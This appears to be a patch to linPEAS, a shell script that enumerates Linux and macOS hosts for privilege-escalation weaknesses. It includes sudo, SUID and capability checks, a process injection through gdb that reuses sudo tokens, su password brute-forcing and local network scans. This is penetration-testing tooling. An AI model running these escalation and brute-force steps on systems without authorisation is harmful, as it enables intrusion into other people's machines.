# if [ "`grep \"<policy group=\\\"$g\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi
#done
grppol=$(grep "<policy group=" "$f" 2>/dev/null | grep -v "root")
if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#TODO: identify allows in context="default"
done
done
fi
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "D-Bus Service Objects list"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
dbuslist=$(busctl list 2>/dev/null)
if [ "$dbuslist" ]; then
busctl list | while read line; do
echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
if ! echo "$line" | grep -qE "$dbuslistG"; then
srvc_object=$(echo $line | cut -d " " -f1)
srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
if [ "$srvc_object_info" ]; then
echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
fi
fi
done
else echo_not_found "busctl"
fi
fi

View File

@@ -24,7 +24,7 @@ fi
#-- NI) Interfaces #-- NI) Interfaces
print_2title "Interfaces" print_2title "Interfaces"
cat /etc/networks 2>/dev/null cat /etc/networks 2>/dev/null
(ifconfig || ip a) 2>/dev/null (ifconfig || ip a || (cat /proc/net/dev; cat /proc/net/fib_trie; cat /proc/net/fib_trie6)) 2>/dev/null
echo "" echo ""
#-- NI) Neighbours #-- NI) Neighbours
@@ -53,8 +53,8 @@ fi
#-- NI) Ports #-- NI) Ports
print_2title "Active Ports" print_2title "Active Ports"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports"
( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED}," ( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g"
echo "" echo ""
#-- NI) MacOS hardware ports #-- NI) MacOS hardware ports
@@ -92,14 +92,14 @@ fi
print_2title "Can I sniff with tcpdump?" print_2title "Can I sniff with tcpdump?"
timeout 1 tcpdump >/dev/null 2>&1 timeout 1 tcpdump >/dev/null 2>&1
if [ $? -eq 124 ]; then #If 124, then timed out == It worked if [ $? -eq 124 ]; then #If 124, then timed out == It worked
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sniffing" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing"
echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED}," echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED},"
else echo_no else echo_no
fi fi
echo "" echo ""
#-- NI) Internet access #-- NI) Internet access
if ! [ "$SUPERFAST" ] && [ "$EXTRA_CHECKS" ] && ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then if [ "$AUTO_NETWORK_SCAN" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then
print_2title "Internet Access?" print_2title "Internet Access?"
check_tcp_80 2>/dev/null & check_tcp_80 2>/dev/null &
check_tcp_443 2>/dev/null & check_tcp_443 2>/dev/null &
@@ -109,11 +109,15 @@ if ! [ "$SUPERFAST" ] && [ "$EXTRA_CHECKS" ] && ! [ "$FAST" ] && [ "$TIMEOUT" ]
echo "" echo ""
fi fi
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] || [ "$AUTO_NETWORK_SCAN" ]; then if [ "$AUTO_NETWORK_SCAN" ]; then
if ! [ "$FOUND_NC" ]; then if ! [ "$FOUND_NC" ] && ! [ "$FOUND_BASH" ]; then
printf $RED"[-] $SCAN_BAN_BAD\n$NC" printf $RED"[-] $SCAN_BAN_BAD\n$NC"
echo "The network is not going to be scanned..." echo "The network is not going to be scanned..."
elif ! [ "$(command -v ifconfig)" ] && ! [ "$(command -v ip a)" ]; then
printf $RED"[-] No ifconfig or ip commands, cannot find local ips\n$NC"
echo "The network is not going to be scanned..."
else else
print_2title "Scanning local networks (using /24)" print_2title "Scanning local networks (using /24)"
@@ -122,7 +126,7 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] || [ "$AUTO_NETWORK_SCAN" ]; then
fi fi
select_nc select_nc
local_ips=$(ip a | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.") local_ips=$( (ip a 2>/dev/null || ifconfig) | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.")
printf "%s\n" "$local_ips" | while read local_ip; do printf "%s\n" "$local_ips" | while read local_ip; do
if ! [ -z "$local_ip" ]; then if ! [ -z "$local_ip" ]; then
print_3title "Discovering hosts in $local_ip/24" print_3title "Discovering hosts in $local_ip/24"
@@ -151,6 +155,10 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] || [ "$AUTO_NETWORK_SCAN" ]; then
echo "" echo ""
fi fi
done done
print_3title "Scanning top ports of host.docker.internal"
(tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null
echo ""
fi fi
fi fi
@@ -181,4 +189,4 @@ if [ "$MACOS" ]; then
warn_exec system_profiler SPUSBDataType warn_exec system_profiler SPUSBDataType
echo "" echo ""
fi fi
fi fi

View File

@@ -4,7 +4,7 @@
#-- UI) My user #-- UI) My user
print_2title "My user" print_2title "My user"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#users" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users"
(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" (id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
echo "" echo ""
@@ -25,7 +25,7 @@ if [ "$MACPEAS" ];then
print_2title "SystemKey" print_2title "SystemKey"
ls -l /var/db/SystemKey ls -l /var/db/SystemKey
if [ -r "/var/db/SystemKey" ]; then if [ -r "/var/db/SystemKey" ]; then
echo "You can read /var/db/SystemKey" | sed -${E} "s,.*,${SED_RED_YELLOW},"; echo "You can read /var/db/SystemKey" | sed -${E} "s,.*,${SED_RED_YELLOW},";
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey | sed -${E} "s,.*,${SED_RED_YELLOW},"; hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey | sed -${E} "s,.*,${SED_RED_YELLOW},";
fi fi
@@ -59,48 +59,50 @@ fi
#-- UI) Sudo -l #-- UI) Sudo -l
print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d" print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo" (echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo"
if [ "$PASSWORD" ]; then if [ "$PASSWORD" ]; then
(echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "sudo" (echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g") 2>/dev/null || echo_not_found "sudo"
fi fi
( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "/etc/sudoers" ( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" ) 2>/dev/null || echo_not_found "/etc/sudoers"
if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then
echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW}," echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW},"
fi fi
for filename in /etc/sudoers.d/*; do for filename in /etc/sudoers.d/*; do
if [ -r "$filename" ]; then if [ -r "$filename" ]; then
echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g" echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g"
grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g"
fi fi
done done
echo "" echo ""
#-- UI) Sudo tokens #-- UI) Sudo tokens
print_2title "Checking sudo tokens" print_2title "Checking sudo tokens"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#reusing-sudo-tokens" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens"
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0)" | sed "s,is disabled,${SED_RED},g"; if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then
else echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g"; echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g";
fi
is_gdb="$(command -v gdb 2>/dev/null)" if [ "$(command -v gdb 2>/dev/null)" ]; then
if [ "$is_gdb" ]; then echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g"; echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g";
else echo "gdb wasn't found in PATH, this might still be vulnerable but linpeas won't be able to check it" | sed "s,gdb,${SED_GREEN},g";
fi
if [ ! "$SUPERFAST" ] && [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ] && [ "$is_gdb" ]; then
echo "Checking for sudo tokens in other shells owned by current user"
for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" 2>/dev/null | grep -v "^$$\$"); do
echo "Injecting process $pid -> "$(cat "/proc/$pid/comm" 2>/dev/null)
echo 'call system("echo | sudo -S touch /tmp/shrndom32r2r >/dev/null 2>&1 && echo | sudo -S chmod 777 /tmp/shrndom32r2r >/dev/null 2>&1")' | gdb -q -n -p "$pid" >/dev/null 2>&1
if [ -f "/tmp/shrndom32r2r" ]; then
echo "Sudo token reuse exploit worked with pid:$pid! (see link)" | sed -${E} "s,.*,${SED_RED_YELLOW},";
break
fi
done
if [ -f "/tmp/shrndom32r2r" ]; then
rm -f /tmp/shrndom32r2r 2>/dev/null
else echo "The escalation didn't work... (try again later?)"
fi fi
if [ "$CURRENT_USER_PIVOT_PID" ]; then
echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g";
fi
if [ -f "$HOME/.sudo_as_admin_successful" ]; then
echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},";
fi
if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then
echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g";
ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'
fi
else
echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
fi fi
echo "" echo ""
@@ -108,7 +110,7 @@ echo ""
if [ -f "/etc/doas.conf" ] || [ "$DEBUG" ]; then if [ -f "/etc/doas.conf" ] || [ "$DEBUG" ]; then
print_2title "Checking doas.conf" print_2title "Checking doas.conf"
doas_dir_name=$(dirname "$(command -v doas)" 2>/dev/null) doas_dir_name=$(dirname "$(command -v doas)" 2>/dev/null)
if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then
cat /etc/doas.conf "$doas_dir_name/doas.conf" "$doas_dir_name/../etc/doas.conf" "$doas_dir_name/etc/doas.conf" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_RED}," | sed "s,root,${SED_RED}," | sed "s,nopass,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," cat /etc/doas.conf "$doas_dir_name/doas.conf" "$doas_dir_name/../etc/doas.conf" "$doas_dir_name/etc/doas.conf" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_RED}," | sed "s,root,${SED_RED}," | sed "s,nopass,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW},"
else echo_not_found "doas.conf" else echo_not_found "doas.conf"
fi fi
@@ -117,7 +119,7 @@ fi
#-- UI) Pkexec policy #-- UI) Pkexec policy
print_2title "Checking Pkexec policy" print_2title "Checking Pkexec policy"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#pe-method-2" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2"
(cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d" (cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d"
echo "" echo ""
@@ -212,8 +214,7 @@ if [ "$EXTRA_CHECKS" ]; then
fi fi
#-- UI) Brute su #-- UI) Brute su
EXISTS_SUDO="$(command -v sudo 2>/dev/null)" if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; then
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ] && [ "$EXISTS_SUDO" ]; then
print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC
POSSIBE_SU_BRUTE=$(check_if_su_brute); POSSIBE_SU_BRUTE=$(check_if_su_brute);
if [ "$POSSIBE_SU_BRUTE" ]; then if [ "$POSSIBE_SU_BRUTE" ]; then
@@ -226,6 +227,6 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ] &&
printf $GREEN"It's not possible to brute-force su.\n\n"$NC printf $GREEN"It's not possible to brute-force su.\n\n"$NC
fi fi
else else
print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I can't do it...)\n"$NC print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\n"$NC
fi fi
print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC

View File

@@ -1,638 +0,0 @@
###########################################
#----------) Interesting files (----------#
###########################################
check_critial_root_path(){
folder_path="$1"
if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
}
##-- IF) SUID
print_2title "SUID - Check easy privesc, exploits and write perms"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid"
if ! [ "$STRINGS" ]; then
echo_not_found "strings"
fi
if ! [ "$STRACE" ]; then
echo_not_found "strace"
fi
suids_files=$(find / -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
for s in $suids_files; do
s=$(ls -lahtr "$s")
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
if echo "$s" | grep -qE "^total"; then break; fi
sname="$(echo $s | awk '{print $9}')"
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
true #Don't do nothing
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
c="a"
for b in $sidB; do
if echo $s | grep -q $(echo $b | cut -d % -f 1); then
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
c=""
break;
fi
done;
if [ "$c" ]; then
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
else
echo "$s (Unknown SUID binary)" | sed -${E} "s,/.*,${SED_RED},"
printf $ITALIC
if ! [ "$FAST" ] && [ "$STRINGS" ]; then
$STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
sline_first="$(echo "$sline" | cut -d ' ' -f1)"
if echo "$sline_first" | grep -qEv "$cfuncs"; then
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
fi
else #If not a path
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
fi
fi
fi
done
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
printf $ITALIC
echo "----------------------------------------------------------------------------------------"
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
export LD_LIBRARY_PATH=""
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
printf $NC
export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
echo "----------------------------------------------------------------------------------------"
echo ""
fi
fi
fi
fi
fi
done;
echo ""
##-- IF) SGID
print_2title "SGID"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid"
sgids_files=$(find / -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
for s in $sgids_files; do
s=$(ls -lahtr "$s")
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
if echo "$s" | grep -qE "^total";then break; fi
sname="$(echo $s | awk '{print $9}')"
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
true #Don't do nothing
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
c="a"
for b in $sidB; do
if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
c=""
break;
fi
done;
if [ "$c" ]; then
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
else
echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
printf $ITALIC
if ! [ "$FAST" ] && [ "$STRINGS" ]; then
$STRINGS "$sname" | sort | uniq | while read sline; do
sline_first="$(echo $sline | cut -d ' ' -f1)"
if echo "$sline_first" | grep -qEv "$cfuncs"; then
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
fi
else #If not a path
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
fi
fi
fi
done
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
printf "$ITALIC"
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
printf "$NC"
echo ""
fi
fi
fi
fi
fi
done;
echo ""
##-- IF) Misconfigured ld.so
print_2title "Checking misconfigurations of ld.so"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#ld-so"
printf $ITALIC"/etc/ld.so.conf\n"$NC;
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
cat /etc/ld.so.conf 2>/dev/null | while read l; do
if echo "$l" | grep -q include; then
ini_path=$(echo "$l" | cut -d " " -f 2)
fpath=$(dirname "$ini_path")
if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
printf $ITALIC"$fpath\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
for f in $fpath/*; do
printf $ITALIC" $f\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
cat "$f" | grep -v "^#" | sed -${E} "s,$ldsoconfdG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
done
fi
done
echo ""
##-- IF) Capabilities
print_2title "Capabilities"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities"
echo "Current capabilities:"
(capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh"
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
echo ""
echo "Shell capabilities:"
(capsh --decode=0x"$(cat /proc/$PPID/status 2>/dev/null | grep CapEff | awk '{print $2}')" 2>/dev/null) || echo_not_found "capsh"
(cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status"
echo ""
echo "Files with capabilities (limited to 50):"
getcap -r / 2>/dev/null | head -n 50 | while read cb; do
capsVB_vuln=""
for capVB in $capsVB; do
